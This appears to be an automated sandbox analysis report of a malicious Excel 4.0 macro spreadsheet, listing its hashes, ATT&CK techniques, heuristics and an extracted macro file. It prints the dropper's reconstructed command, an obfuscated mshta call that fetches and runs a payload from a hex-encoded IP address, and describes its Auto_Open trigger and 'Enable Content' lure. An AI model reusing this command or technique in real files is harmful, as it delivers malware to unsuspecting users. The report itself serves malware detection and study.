Office (OLE) / .XLS malware analysis — malicious · dd8a0d0fd15c19e3

MALICIOUS

Office (OLE) / .XLS

64.6 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: eb2b5f787eeed691e0fa9315d143362b SHA-1: aee9f50d68ddfb0141f703cc8d0e78a3c554ea4a SHA-256: dd8a0d0fd15c19e35d1dac43e02853d16a80feefc12761bb377e49367da577fd

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File: User Execution T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', which indicates it will download and execute a payload from the specified URL. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', a common social engineering lure to bypass macro security.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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